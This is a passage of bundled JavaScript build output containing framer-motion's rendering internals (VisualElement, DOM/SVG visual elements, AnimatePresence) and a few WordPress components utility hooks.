19727 if (!isValidProp)
19728 return;
19729 shouldForward = (key) => key.startsWith("on") ? !isValidMotionProp(key) : isValidProp(key);
19730 }
19731 try {
19732 loadExternalIsValidProp((init_emotion_is_prop_valid_esm(), __toCommonJS(emotion_is_prop_valid_esm_exports)).default);
19733 } catch (_a) {
19734 }
19735 function filterProps(props, isDom, forwardMotionProps) {
19736 const filteredProps = {};
19737 for (const key in props) {
19738 if (key === "values" && typeof props.values === "object")
19739 continue;
19740 if (shouldForward(key) || forwardMotionProps === true && isValidMotionProp(key) || !isDom && !isValidMotionProp(key) || // If trying to use native HTML drag events, forward drag listeners
19741 props["draggable"] && key.startsWith("onDrag")) {
19742 filteredProps[key] = props[key];
19743 }
19744 }
19745 return filteredProps;
19746 }
19747
19748 // packages/components/node_modules/framer-motion/dist/es/render/svg/use-props.mjs
19749 var import_react73 = __toESM(require_react(), 1);
19750 function useSVGProps(props, visualState, _isStatic, Component9) {
19751 const visualProps = (0, import_react73.useMemo)(() => {
19752 const state = createSvgRenderState();
19753 buildSVGAttrs(state, visualState, isSVGTag(Component9), props.transformTemplate);
19754 return {
19755 ...state.attrs,
19756 style: { ...state.style }
19757 };
19758 }, [visualState]);
19759 if (props.style) {
19760 const rawStyles = {};
19761 copyRawValuesOnly(rawStyles, props.style, props);
19762 visualProps.style = { ...rawStyles, ...visualProps.style };
19763 }
19764 return visualProps;
19765 }
19766
19767 // packages/components/node_modules/framer-motion/dist/es/render/dom/use-render.mjs
19768 function createUseRender(forwardMotionProps = false) {
19769 const useRender = (Component9, props, ref, { latestValues }, isStatic) => {
19770 const useVisualProps = isSVGComponent(Component9) ? useSVGProps : useHTMLProps;
19771 const visualProps = useVisualProps(props, latestValues, isStatic, Component9);
19772 const filteredProps = filterProps(props, typeof Component9 === "string", forwardMotionProps);
19773 const elementProps = Component9 !== import_react74.Fragment ? { ...filteredProps, ...visualProps, ref } : {};
19774 const { children } = props;
19775 const renderedChildren = (0, import_react74.useMemo)(() => isMotionValue(children) ? children.get() : children, [children]);
19776 return (0, import_react74.createElement)(Component9, {
19777 ...elementProps,
19778 children: renderedChildren
19779 });
19780 };
19781 return useRender;
19782 }
19783
19784 // packages/components/node_modules/framer-motion/dist/es/render/components/create-factory.mjs
19785 function createMotionComponentFactory(preloadedFeatures, createVisualElement) {
19786 return function createMotionComponent2(Component9, { forwardMotionProps } = { forwardMotionProps: false }) {
19787 const baseConfig = isSVGComponent(Component9) ? svgMotionConfig : htmlMotionConfig;
19788 const config = {
19789 ...baseConfig,
19790 preloadedFeatures,
19791 useRender: createUseRender(forwardMotionProps),
19792 createVisualElement,
19793 Component: Component9
19794 };
19795 return createRendererMotionComponent(config);
19796 };
19797 }
19798
19799 // packages/components/node_modules/framer-motion/dist/es/render/dom/create-visual-element.mjs
19800 var import_react75 = __toESM(require_react(), 1);
19801
19802 // packages/components/node_modules/framer-motion/dist/es/utils/reduced-motion/state.mjs
19803 var prefersReducedMotion = { current: null };
19804 var hasReducedMotionListener = { current: false };
19805
19806 // packages/components/node_modules/framer-motion/dist/es/utils/reduced-motion/index.mjs
19807 function initPrefersReducedMotion() {
19808 hasReducedMotionListener.current = true;
19809 if (!isBrowser)
19810 return;
19811 if (window.matchMedia) {
19812 const motionMediaQuery = window.matchMedia("(prefers-reduced-motion)");
19813 const setReducedMotionPreferences = () => prefersReducedMotion.current = motionMediaQuery.matches;
19814 motionMediaQuery.addListener(setReducedMotionPreferences);
19815 setReducedMotionPreferences();
19816 } else {
19817 prefersReducedMotion.current = false;
19818 }
19819 }
19820
19821 // packages/components/node_modules/framer-motion/dist/es/render/utils/motion-values.mjs
19822 function updateMotionValuesFromProps(element, next2, prev2) {
19823 for (const key in next2) {
19824 const nextValue = next2[key];
19825 const prevValue = prev2[key];
19826 if (isMotionValue(nextValue)) {
19827 element.addValue(key, nextValue);
19828 if (true) {
19829 warnOnce(nextValue.version === "11.15.0", `Attempting to mix Motion versions ${nextValue.version} with 11.15.0 may not work as expected.`);
19830 }
19831 } else if (isMotionValue(prevValue)) {
19832 element.addValue(key, motionValue(nextValue, { owner: element }));
19833 } else if (prevValue !== nextValue) {
19834 if (element.hasValue(key)) {
19835 const existingValue = element.getValue(key);
19836 if (existingValue.liveStyle === true) {
19837 existingValue.jump(nextValue);
19838 } else if (!existingValue.hasAnimated) {
19839 existingValue.set(nextValue);
19840 }
19841 } else {
19842 const latestValue = element.getStaticValue(key);
19843 element.addValue(key, motionValue(latestValue !== void 0 ? latestValue : nextValue, { owner: element }));
19844 }
19845 }
19846 }
19847 for (const key in prev2) {
19848 if (next2[key] === void 0)
19849 element.removeValue(key);
19850 }
19851 return next2;
19852 }
19853
19854 // packages/components/node_modules/framer-motion/dist/es/render/store.mjs
19855 var visualElementStore = /* @__PURE__ */ new WeakMap();
19856
19857 // packages/components/node_modules/framer-motion/dist/es/render/dom/value-types/find.mjs
19858 var valueTypes = [...dimensionValueTypes, color, complex];
19859 var findValueType = (v3) => valueTypes.find(testValueType(v3));
19860
19861 // packages/components/node_modules/framer-motion/dist/es/render/VisualElement.mjs
19862 var propEventHandlers = [
19863 "AnimationStart",
19864 "AnimationComplete",
19865 "Update",
19866 "BeforeLayoutMeasure",
19867 "LayoutMeasure",
19868 "LayoutAnimationStart",
19869 "LayoutAnimationComplete"
19870 ];
19871 var VisualElement = class {
19872 /**
19873 * This method takes React props and returns found MotionValues. For example, HTML
19874 * MotionValues will be found within the style prop, whereas for Three.js within attribute arrays.
19875 *
19876 * This isn't an abstract method as it needs calling in the constructor, but it is
19877 * intended to be one.
19878 */
19879 scrapeMotionValuesFromProps(_props, _prevProps, _visualElement) {
19880 return {};
19881 }
19882 constructor({ parent, props, presenceContext, reducedMotionConfig, blockInitialAnimation, visualState }, options2 = {}) {
19883 this.current = null;
19884 this.children = /* @__PURE__ */ new Set();
19885 this.isVariantNode = false;
19886 this.isControllingVariants = false;
19887 this.shouldReduceMotion = null;
19888 this.values = /* @__PURE__ */ new Map();
19889 this.KeyframeResolver = KeyframeResolver;
19890 this.features = {};
19891 this.valueSubscriptions = /* @__PURE__ */ new Map();
19892 this.prevMotionValues = {};
19893 this.events = {};
19894 this.propEventSubscriptions = {};
19895 this.notifyUpdate = () => this.notify("Update", this.latestValues);
19896 this.render = () => {
19897 if (!this.current)
19898 return;
19899 this.triggerBuild();
19900 this.renderInstance(this.current, this.renderState, this.props.style, this.projection);
19901 };
19902 this.renderScheduledAt = 0;
19903 this.scheduleRender = () => {
19904 const now2 = time.now();
19905 if (this.renderScheduledAt < now2) {
19906 this.renderScheduledAt = now2;
19907 frame.render(this.render, false, true);
19908 }
19909 };
19910 const { latestValues, renderState } = visualState;
19911 this.latestValues = latestValues;
19912 this.baseTarget = { ...latestValues };
19913 this.initialValues = props.initial ? { ...latestValues } : {};
19914 this.renderState = renderState;
19915 this.parent = parent;
19916 this.props = props;
19917 this.presenceContext = presenceContext;
19918 this.depth = parent ? parent.depth + 1 : 0;
19919 this.reducedMotionConfig = reducedMotionConfig;
19920 this.options = options2;
19921 this.blockInitialAnimation = Boolean(blockInitialAnimation);
19922 this.isControllingVariants = isControllingVariants(props);
19923 this.isVariantNode = isVariantNode(props);
19924 if (this.isVariantNode) {
19925 this.variantChildren = /* @__PURE__ */ new Set();
19926 }
19927 this.manuallyAnimateOnMount = Boolean(parent && parent.current);
19928 const { willChange, ...initialMotionValues } = this.scrapeMotionValuesFromProps(props, {}, this);
19929 for (const key in initialMotionValues) {
19930 const value = initialMotionValues[key];
19931 if (latestValues[key] !== void 0 && isMotionValue(value)) {
19932 value.set(latestValues[key], false);
19933 }
19934 }
19935 }
19936 mount(instance) {
19937 this.current = instance;
19938 visualElementStore.set(instance, this);
19939 if (this.projection && !this.projection.instance) {
19940 this.projection.mount(instance);
19941 }
19942 if (this.parent && this.isVariantNode && !this.isControllingVariants) {
19943 this.removeFromVariantTree = this.parent.addVariantChild(this);
19944 }
19945 this.values.forEach((value, key) => this.bindToMotionValue(key, value));
19946 if (!hasReducedMotionListener.current) {
19947 initPrefersReducedMotion();
19948 }
19949 this.shouldReduceMotion = this.reducedMotionConfig === "never" ? false : this.reducedMotionConfig === "always" ? true : prefersReducedMotion.current;
19950 if (true) {
19951 warnOnce(this.shouldReduceMotion !== true, "You have Reduced Motion enabled on your device. Animations may not appear as expected.");
19952 }
19953 if (this.parent)
19954 this.parent.children.add(this);
19955 this.update(this.props, this.presenceContext);
19956 }
19957 unmount() {
19958 visualElementStore.delete(this.current);
19959 this.projection && this.projection.unmount();
19960 cancelFrame(this.notifyUpdate);
19961 cancelFrame(this.render);
19962 this.valueSubscriptions.forEach((remove) => remove());
19963 this.valueSubscriptions.clear();
19964 this.removeFromVariantTree && this.removeFromVariantTree();
19965 this.parent && this.parent.children.delete(this);
19966 for (const key in this.events) {
19967 this.events[key].clear();
19968 }
19969 for (const key in this.features) {
19970 const feature = this.features[key];
19971 if (feature) {
19972 feature.unmount();
19973 feature.isMounted = false;
19974 }
19975 }
19976 this.current = null;
19977 }
19978 bindToMotionValue(key, value) {
19979 if (this.valueSubscriptions.has(key)) {
19980 this.valueSubscriptions.get(key)();
19981 }
19982 const valueIsTransform = transformProps.has(key);
19983 const removeOnChange = value.on("change", (latestValue) => {
19984 this.latestValues[key] = latestValue;
19985 this.props.onUpdate && frame.preRender(this.notifyUpdate);
19986 if (valueIsTransform && this.projection) {
19987 this.projection.isTransformDirty = true;
19988 }
19989 });
19990 const removeOnRenderRequest = value.on("renderRequest", this.scheduleRender);
19991 let removeSyncCheck;
19992 if (window.MotionCheckAppearSync) {
19993 removeSyncCheck = window.MotionCheckAppearSync(this, key, value);
19994 }
19995 this.valueSubscriptions.set(key, () => {
19996 removeOnChange();
19997 removeOnRenderRequest();
19998 if (removeSyncCheck)
19999 removeSyncCheck();
20000 if (value.owner)
20001 value.stop();
20002 });
20003 }
20004 sortNodePosition(other) {
20005 if (!this.current || !this.sortInstanceNodePosition || this.type !== other.type) {
20006 return 0;
20007 }
20008 return this.sortInstanceNodePosition(this.current, other.current);
20009 }
20010 updateFeatures() {
20011 let key = "animation";
20012 for (key in featureDefinitions) {
20013 const featureDefinition = featureDefinitions[key];
20014 if (!featureDefinition)
20015 continue;
20016 const { isEnabled, Feature: FeatureConstructor } = featureDefinition;
20017 if (!this.features[key] && FeatureConstructor && isEnabled(this.props)) {
20018 this.features[key] = new FeatureConstructor(this);
20019 }
20020 if (this.features[key]) {
20021 const feature = this.features[key];
20022 if (feature.isMounted) {
20023 feature.update();
20024 } else {
20025 feature.mount();
20026 feature.isMounted = true;
20027 }
20028 }
20029 }
20030 }
20031 triggerBuild() {
20032 this.build(this.renderState, this.latestValues, this.props);
20033 }
20034 /**
20035 * Measure the current viewport box with or without transforms.
20036 * Only measures axis-aligned boxes, rotate and skew must be manually
20037 * removed with a re-render to work.
20038 */
20039 measureViewportBox() {
20040 return this.current ? this.measureInstanceViewportBox(this.current, this.props) : createBox();
20041 }
20042 getStaticValue(key) {
20043 return this.latestValues[key];
20044 }
20045 setStaticValue(key, value) {
20046 this.latestValues[key] = value;
20047 }
20048 /**
20049 * Update the provided props. Ensure any newly-added motion values are
20050 * added to our map, old ones removed, and listeners updated.
20051 */
20052 update(props, presenceContext) {
20053 if (props.transformTemplate || this.props.transformTemplate) {
20054 this.scheduleRender();
20055 }
20056 this.prevProps = this.props;
20057 this.props = props;
20058 this.prevPresenceContext = this.presenceContext;
20059 this.presenceContext = presenceContext;
20060 for (let i3 = 0; i3 < propEventHandlers.length; i3++) {
20061 const key = propEventHandlers[i3];
20062 if (this.propEventSubscriptions[key]) {
20063 this.propEventSubscriptions[key]();
20064 delete this.propEventSubscriptions[key];
20065 }
20066 const listenerName = "on" + key;
20067 const listener = props[listenerName];
20068 if (listener) {
20069 this.propEventSubscriptions[key] = this.on(key, listener);
20070 }
20071 }
20072 this.prevMotionValues = updateMotionValuesFromProps(this, this.scrapeMotionValuesFromProps(props, this.prevProps, this), this.prevMotionValues);
20073 if (this.handleChildMotionValue) {
20074 this.handleChildMotionValue();
20075 }
20076 }
20077 getProps() {
20078 return this.props;
20079 }
20080 /**
20081 * Returns the variant definition with a given name.
20082 */
20083 getVariant(name) {
20084 return this.props.variants ? this.props.variants[name] : void 0;
20085 }
20086 /**
20087 * Returns the defined default transition on this component.
20088 */
20089 getDefaultTransition() {
20090 return this.props.transition;
20091 }
20092 getTransformPagePoint() {
20093 return this.props.transformPagePoint;
20094 }
20095 getClosestVariantNode() {
20096 return this.isVariantNode ? this : this.parent ? this.parent.getClosestVariantNode() : void 0;
20097 }
20098 /**
20099 * Add a child visual element to our set of children.
20100 */
20101 addVariantChild(child) {
20102 const closestVariantNode = this.getClosestVariantNode();
20103 if (closestVariantNode) {
20104 closestVariantNode.variantChildren && closestVariantNode.variantChildren.add(child);
20105 return () => closestVariantNode.variantChildren.delete(child);
20106 }
20107 }
20108 /**
20109 * Add a motion value and bind it to this visual element.
20110 */
20111 addValue(key, value) {
20112 const existingValue = this.values.get(key);
20113 if (value !== existingValue) {
20114 if (existingValue)
20115 this.removeValue(key);
20116 this.bindToMotionValue(key, value);
20117 this.values.set(key, value);
20118 this.latestValues[key] = value.get();
20119 }
20120 }
20121 /**
20122 * Remove a motion value and unbind any active subscriptions.
20123 */
20124 removeValue(key) {
20125 this.values.delete(key);
20126 const unsubscribe = this.valueSubscriptions.get(key);
20127 if (unsubscribe) {
20128 unsubscribe();
20129 this.valueSubscriptions.delete(key);
20130 }
20131 delete this.latestValues[key];
20132 this.removeValueFromRenderState(key, this.renderState);
20133 }
20134 /**
20135 * Check whether we have a motion value for this key
20136 */
20137 hasValue(key) {
20138 return this.values.has(key);
20139 }
20140 getValue(key, defaultValue2) {
20141 if (this.props.values && this.props.values[key]) {
20142 return this.props.values[key];
20143 }
20144 let value = this.values.get(key);
20145 if (value === void 0 && defaultValue2 !== void 0) {
20146 value = motionValue(defaultValue2 === null ? void 0 : defaultValue2, { owner: this });
20147 this.addValue(key, value);
20148 }
20149 return value;
20150 }
20151 /**
20152 * If we're trying to animate to a previously unencountered value,
20153 * we need to check for it in our state and as a last resort read it
20154 * directly from the instance (which might have performance implications).
20155 */
20156 readValue(key, target) {
20157 var _a;
20158 let value = this.latestValues[key] !== void 0 || !this.current ? this.latestValues[key] : (_a = this.getBaseTargetFromProps(this.props, key)) !== null && _a !== void 0 ? _a : this.readValueFromInstance(this.current, key, this.options);
20159 if (value !== void 0 && value !== null) {
20160 if (typeof value === "string" && (isNumericalString(value) || isZeroValueString(value))) {
20161 value = parseFloat(value);
20162 } else if (!findValueType(value) && complex.test(target)) {
20163 value = getAnimatableNone2(key, target);
20164 }
20165 this.setBaseTarget(key, isMotionValue(value) ? value.get() : value);
20166 }
20167 return isMotionValue(value) ? value.get() : value;
20168 }
20169 /**
20170 * Set the base target to later animate back to. This is currently
20171 * only hydrated on creation and when we first read a value.
20172 */
20173 setBaseTarget(key, value) {
20174 this.baseTarget[key] = value;
20175 }
20176 /**
20177 * Find the base target for a value thats been removed from all animation
20178 * props.
20179 */
20180 getBaseTarget(key) {
20181 var _a;
20182 const { initial } = this.props;
20183 let valueFromInitial;
20184 if (typeof initial === "string" || typeof initial === "object") {
20185 const variant = resolveVariantFromProps(this.props, initial, (_a = this.presenceContext) === null || _a === void 0 ? void 0 : _a.custom);
20186 if (variant) {
20187 valueFromInitial = variant[key];
20188 }
20189 }
20190 if (initial && valueFromInitial !== void 0) {
20191 return valueFromInitial;
20192 }
20193 const target = this.getBaseTargetFromProps(this.props, key);
20194 if (target !== void 0 && !isMotionValue(target))
20195 return target;
20196 return this.initialValues[key] !== void 0 && valueFromInitial === void 0 ? void 0 : this.baseTarget[key];
20197 }
20198 on(eventName, callback) {
20199 if (!this.events[eventName]) {
20200 this.events[eventName] = new SubscriptionManager();
20201 }
20202 return this.events[eventName].add(callback);
20203 }
20204 notify(eventName, ...args) {
20205 if (this.events[eventName]) {
20206 this.events[eventName].notify(...args);
20207 }
20208 }
20209 };
20210
20211 // packages/components/node_modules/framer-motion/dist/es/render/dom/DOMVisualElement.mjs
20212 var DOMVisualElement = class extends VisualElement {
20213 constructor() {
20214 super(...arguments);
20215 this.KeyframeResolver = DOMKeyframesResolver;
20216 }
20217 sortInstanceNodePosition(a3, b3) {
20218 return a3.compareDocumentPosition(b3) & 2 ? 1 : -1;
20219 }
20220 getBaseTargetFromProps(props, key) {
20221 return props.style ? props.style[key] : void 0;
20222 }
20223 removeValueFromRenderState(key, { vars, style: style2 }) {
20224 delete vars[key];
20225 delete style2[key];
20226 }
20227 handleChildMotionValue() {
20228 if (this.childSubscription) {
20229 this.childSubscription();
20230 delete this.childSubscription;
20231 }
20232 const { children } = this.props;
20233 if (isMotionValue(children)) {
20234 this.childSubscription = children.on("change", (latest) => {
20235 if (this.current) {
20236 this.current.textContent = `${latest}`;
20237 }
20238 });
20239 }
20240 }
20241 };
20242
20243 // packages/components/node_modules/framer-motion/dist/es/render/html/HTMLVisualElement.mjs
20244 function getComputedStyle3(element) {
20245 return window.getComputedStyle(element);
20246 }
20247 var HTMLVisualElement = class extends DOMVisualElement {
20248 constructor() {
20249 super(...arguments);
20250 this.type = "html";
20251 this.renderInstance = renderHTML;
20252 }
20253 readValueFromInstance(instance, key) {
20254 if (transformProps.has(key)) {
20255 const defaultType = getDefaultValueType(key);
20256 return defaultType ? defaultType.default || 0 : 0;
20257 } else {
20258 const computedStyle = getComputedStyle3(instance);
20259 const value = (isCSSVariableName(key) ? computedStyle.getPropertyValue(key) : computedStyle[key]) || 0;
20260 return typeof value === "string" ? value.trim() : value;
20261 }
20262 }
20263 measureInstanceViewportBox(instance, { transformPagePoint }) {
20264 return measureViewportBox(instance, transformPagePoint);
20265 }
20266 build(renderState, latestValues, props) {
20267 buildHTMLStyles(renderState, latestValues, props.transformTemplate);
20268 }
20269 scrapeMotionValuesFromProps(props, prevProps, visualElement) {
20270 return scrapeMotionValuesFromProps(props, prevProps, visualElement);
20271 }
20272 };
20273
20274 // packages/components/node_modules/framer-motion/dist/es/render/svg/SVGVisualElement.mjs
20275 var SVGVisualElement = class extends DOMVisualElement {
20276 constructor() {
20277 super(...arguments);
20278 this.type = "svg";
20279 this.isSVGTag = false;
20280 this.measureInstanceViewportBox = createBox;
20281 }
20282 getBaseTargetFromProps(props, key) {
20283 return props[key];
20284 }
20285 readValueFromInstance(instance, key) {
20286 if (transformProps.has(key)) {
20287 const defaultType = getDefaultValueType(key);
20288 return defaultType ? defaultType.default || 0 : 0;
20289 }
20290 key = !camelCaseAttributes.has(key) ? camelToDash(key) : key;
20291 return instance.getAttribute(key);
20292 }
20293 scrapeMotionValuesFromProps(props, prevProps, visualElement) {
20294 return scrapeMotionValuesFromProps2(props, prevProps, visualElement);
20295 }
20296 build(renderState, latestValues, props) {
20297 buildSVGAttrs(renderState, latestValues, this.isSVGTag, props.transformTemplate);
20298 }
20299 renderInstance(instance, renderState, styleProp, projection) {
20300 renderSVG(instance, renderState, styleProp, projection);
20301 }
20302 mount(instance) {
20303 this.isSVGTag = isSVGTag(instance.tagName);
20304 super.mount(instance);
20305 }
20306 };
20307
20308 // packages/components/node_modules/framer-motion/dist/es/render/dom/create-visual-element.mjs
20309 var createDomVisualElement = (Component9, options2) => {
20310 return isSVGComponent(Component9) ? new SVGVisualElement(options2) : new HTMLVisualElement(options2, {
20311 allowProjection: Component9 !== import_react75.Fragment
20312 });
20313 };
20314
20315 // packages/components/node_modules/framer-motion/dist/es/render/components/motion/create.mjs
20316 var createMotionComponent = /* @__PURE__ */ createMotionComponentFactory({
20317 ...animations,
20318 ...gestureAnimations,
20319 ...drag,
20320 ...layout
20321 }, createDomVisualElement);
20322
20323 // packages/components/node_modules/framer-motion/dist/es/render/components/motion/proxy.mjs
20324 var motion = /* @__PURE__ */ createDOMMotionComponentProxy(createMotionComponent);
20325
20326 // packages/components/node_modules/framer-motion/dist/es/components/AnimatePresence/index.mjs
20327 var import_jsx_runtime43 = __toESM(require_jsx_runtime(), 1);
20328 var import_react79 = __toESM(require_react(), 1);
20329
20330 // packages/components/node_modules/framer-motion/dist/es/components/AnimatePresence/PresenceChild.mjs
20331 var import_jsx_runtime42 = __toESM(require_jsx_runtime(), 1);
20332 var React5 = __toESM(require_react(), 1);
20333 var import_react77 = __toESM(require_react(), 1);
20334
20335 // packages/components/node_modules/framer-motion/dist/es/components/AnimatePresence/PopChild.mjs
20336 var import_jsx_runtime41 = __toESM(require_jsx_runtime(), 1);
20337 var React4 = __toESM(require_react(), 1);
20338 var import_react76 = __toESM(require_react(), 1);
20339 var PopChildMeasure = class extends React4.Component {
20340 getSnapshotBeforeUpdate(prevProps) {
20341 const element = this.props.childRef.current;
20342 if (element && prevProps.isPresent && !this.props.isPresent) {
20343 const size3 = this.props.sizeRef.current;
20344 size3.height = element.offsetHeight || 0;
20345 size3.width = element.offsetWidth || 0;
20346 size3.top = element.offsetTop;
20347 size3.left = element.offsetLeft;
20348 }
20349 return null;
20350 }
20351 /**
20352 * Required with getSnapshotBeforeUpdate to stop React complaining.
20353 */
20354 componentDidUpdate() {
20355 }
20356 render() {
20357 return this.props.children;
20358 }
20359 };
20360 function PopChild({ children, isPresent }) {
20361 const id3 = (0, import_react76.useId)();
20362 const ref = (0, import_react76.useRef)(null);
20363 const size3 = (0, import_react76.useRef)({
20364 width: 0,
20365 height: 0,
20366 top: 0,
20367 left: 0
20368 });
20369 const { nonce } = (0, import_react76.useContext)(MotionConfigContext);
20370 (0, import_react76.useInsertionEffect)(() => {
20371 const { width, height, top, left } = size3.current;
20372 if (isPresent || !ref.current || !width || !height)
20373 return;
20374 ref.current.dataset.motionPopId = id3;
20375 const style2 = document.createElement("style");
20376 if (nonce)
20377 style2.nonce = nonce;
20378 document.head.appendChild(style2);
20379 if (style2.sheet) {
20380 style2.sheet.insertRule(`
20381 [data-motion-pop-id="${id3}"] {
20382 position: absolute !important;
20383 width: ${width}px !important;
20384 height: ${height}px !important;
20385 top: ${top}px !important;
20386 left: ${left}px !important;
20387 }
20388 `);
20389 }
20390 return () => {
20391 document.head.removeChild(style2);
20392 };
20393 }, [isPresent]);
20394 return (0, import_jsx_runtime41.jsx)(PopChildMeasure, { isPresent, childRef: ref, sizeRef: size3, children: React4.cloneElement(children, { ref }) });
20395 }
20396
20397 // packages/components/node_modules/framer-motion/dist/es/components/AnimatePresence/PresenceChild.mjs
20398 var PresenceChild = ({ children, initial, isPresent, onExitComplete, custom, presenceAffectsLayout, mode: mode2 }) => {
20399 const presenceChildren = useConstant(newChildrenMap);
20400 const id3 = (0, import_react77.useId)();
20401 const memoizedOnExitComplete = (0, import_react77.useCallback)((childId) => {
20402 presenceChildren.set(childId, true);
20403 for (const isComplete of presenceChildren.values()) {
20404 if (!isComplete)
20405 return;
20406 }
20407 onExitComplete && onExitComplete();
20408 }, [presenceChildren, onExitComplete]);
20409 const context = (0, import_react77.useMemo)(
20410 () => ({
20411 id: id3,
20412 initial,
20413 isPresent,
20414 custom,
20415 onExitComplete: memoizedOnExitComplete,
20416 register: (childId) => {
20417 presenceChildren.set(childId, false);
20418 return () => presenceChildren.delete(childId);
20419 }
20420 }),
20421 /**
20422 * If the presence of a child affects the layout of the components around it,
20423 * we want to make a new context value to ensure they get re-rendered
20424 * so they can detect that layout change.
20425 */
20426 presenceAffectsLayout ? [Math.random(), memoizedOnExitComplete] : [isPresent, memoizedOnExitComplete]
20427 );
20428 (0, import_react77.useMemo)(() => {
20429 presenceChildren.forEach((_2, key) => presenceChildren.set(key, false));
20430 }, [isPresent]);
20431 React5.useEffect(() => {
20432 !isPresent && !presenceChildren.size && onExitComplete && onExitComplete();
20433 }, [isPresent]);
20434 if (mode2 === "popLayout") {
20435 children = (0, import_jsx_runtime42.jsx)(PopChild, { isPresent, children });
20436 }
20437 return (0, import_jsx_runtime42.jsx)(PresenceContext.Provider, { value: context, children });
20438 };
20439 function newChildrenMap() {
20440 return /* @__PURE__ */ new Map();
20441 }
20442
20443 // packages/components/node_modules/framer-motion/dist/es/components/AnimatePresence/utils.mjs
20444 var import_react78 = __toESM(require_react(), 1);
20445 var getChildKey = (child) => child.key || "";
20446 function onlyElements(children) {
20447 const filtered = [];
20448 import_react78.Children.forEach(children, (child) => {
20449 if ((0, import_react78.isValidElement)(child))
20450 filtered.push(child);
20451 });
20452 return filtered;
20453 }
20454
20455 // packages/components/node_modules/framer-motion/dist/es/components/AnimatePresence/index.mjs
20456 var AnimatePresence = ({ children, exitBeforeEnter, custom, initial = true, onExitComplete, presenceAffectsLayout = true, mode: mode2 = "sync" }) => {
20457 invariant2(!exitBeforeEnter, "Replace exitBeforeEnter with mode='wait'");
20458 const presentChildren = (0, import_react79.useMemo)(() => onlyElements(children), [children]);
20459 const presentKeys = presentChildren.map(getChildKey);
20460 const isInitialRender = (0, import_react79.useRef)(true);
20461 const pendingPresentChildren = (0, import_react79.useRef)(presentChildren);
20462 const exitComplete = useConstant(() => /* @__PURE__ */ new Map());
20463 const [diffedChildren, setDiffedChildren] = (0, import_react79.useState)(presentChildren);
20464 const [renderedChildren, setRenderedChildren] = (0, import_react79.useState)(presentChildren);
20465 useIsomorphicLayoutEffect(() => {
20466 isInitialRender.current = false;
20467 pendingPresentChildren.current = presentChildren;
20468 for (let i3 = 0; i3 < renderedChildren.length; i3++) {
20469 const key = getChildKey(renderedChildren[i3]);
20470 if (!presentKeys.includes(key)) {
20471 if (exitComplete.get(key) !== true) {
20472 exitComplete.set(key, false);
20473 }
20474 } else {
20475 exitComplete.delete(key);
20476 }
20477 }
20478 }, [renderedChildren, presentKeys.length, presentKeys.join("-")]);
20479 const exitingChildren = [];
20480 if (presentChildren !== diffedChildren) {
20481 let nextChildren = [...presentChildren];
20482 for (let i3 = 0; i3 < renderedChildren.length; i3++) {
20483 const child = renderedChildren[i3];
20484 const key = getChildKey(child);
20485 if (!presentKeys.includes(key)) {
20486 nextChildren.splice(i3, 0, child);
20487 exitingChildren.push(child);
20488 }
20489 }
20490 if (mode2 === "wait" && exitingChildren.length) {
20491 nextChildren = exitingChildren;
20492 }
20493 setRenderedChildren(onlyElements(nextChildren));
20494 setDiffedChildren(presentChildren);
20495 return;
20496 }
20497 if (mode2 === "wait" && renderedChildren.length > 1) {
20498 console.warn(`You're attempting to animate multiple children within AnimatePresence, but its mode is set to "wait". This will lead to odd visual behaviour.`);
20499 }
20500 const { forceRender } = (0, import_react79.useContext)(LayoutGroupContext);
20501 return (0, import_jsx_runtime43.jsx)(import_jsx_runtime43.Fragment, { children: renderedChildren.map((child) => {
20502 const key = getChildKey(child);
20503 const isPresent = presentChildren === renderedChildren || presentKeys.includes(key);
20504 const onExit = () => {
20505 if (exitComplete.has(key)) {
20506 exitComplete.set(key, true);
20507 } else {
20508 return;
20509 }
20510 let isEveryExitComplete = true;
20511 exitComplete.forEach((isExitComplete) => {
20512 if (!isExitComplete)
20513 isEveryExitComplete = false;
20514 });
20515 if (isEveryExitComplete) {
20516 forceRender === null || forceRender === void 0 ? void 0 : forceRender();
20517 setRenderedChildren(pendingPresentChildren.current);
20518 onExitComplete && onExitComplete();
20519 }
20520 };
20521 return (0, import_jsx_runtime43.jsx)(PresenceChild, { isPresent, initial: !isInitialRender.current || initial ? void 0 : false, custom: isPresent ? void 0 : custom, presenceAffectsLayout, mode: mode2, onExitComplete: isPresent ? void 0 : onExit, children: child }, key);
20522 }) });
20523 };
20524
20525 // packages/components/build-module/utils/hooks/use-controlled-state.mjs
20526 var import_element9 = __toESM(require_element(), 1);
20527
20528 // packages/components/build-module/utils/values.mjs
20529 function isValueDefined(value) {
20530 return value !== void 0 && value !== null;
20531 }
20532 function isValueEmpty(value) {
20533 const isEmptyString = value === "";
20534 return !isValueDefined(value) || isEmptyString;
20535 }
20536 function getDefinedValue(values = [], fallbackValue) {
20537 return values.find(isValueDefined) ?? fallbackValue;
20538 }
20539 var stringToNumber = (value) => {
20540 return parseFloat(value);
20541 };
20542 var ensureNumber = (value) => {
20543 return typeof value === "string" ? stringToNumber(value) : value;
20544 };
20545
20546 // packages/components/build-module/utils/hooks/use-controlled-state.mjs
20547 var defaultOptions = {
20548 initial: void 0,
20549 /**
20550 * Defaults to empty string, as that is preferred for usage with
20551 * <input />, <textarea />, and <select /> form elements.
20552 */
20553 fallback: ""
20554 };
20555 function useControlledState(currentState, options2 = defaultOptions) {
20556 const {
20557 initial,
20558 fallback
20559 } = {
20560 ...defaultOptions,
20561 ...options2
20562 };
20563 const [internalState, setInternalState] = (0, import_element9.useState)(currentState);
20564 const hasCurrentState = isValueDefined(currentState);
20565 (0, import_element9.useEffect)(() => {
20566 if (hasCurrentState && internalState) {
20567 setInternalState(void 0);
20568 }
20569 }, [hasCurrentState, internalState]);
20570 const state = getDefinedValue([currentState, internalState, initial], fallback);
20571 const setState = (0, import_element9.useCallback)((nextState) => {
20572 if (!hasCurrentState) {
20573 setInternalState(nextState);
20574 }
20575 }, [hasCurrentState]);
20576 return [state, setState];
20577 }
20578 var use_controlled_state_default = useControlledState;
20579
20580 // packages/components/build-module/utils/hooks/use-update-effect.mjs
20581 var import_element10 = __toESM(require_element(), 1);
20582 function useUpdateEffect2(effect, deps) {
20583 const mountedRef = (0, import_element10.useRef)(false);
20584 (0, import_element10.useEffect)(() => {
20585 if (mountedRef.current) {
20586 return effect();
20587 }
20588 mountedRef.current = true;
20589 return void 0;
20590 }, deps);
20591 (0, import_element10.useEffect)(() => () => {
20592 mountedRef.current = false;
20593 }, []);
20594 }
20595 var use_update_effect_default = useUpdateEffect2;
20596
20597 // packages/components/build-module/utils/hooks/use-controlled-value.mjs
20598 var import_element11 = __toESM(require_element(), 1);
20599 function useControlledValue({
20600 defaultValue: defaultValue2,
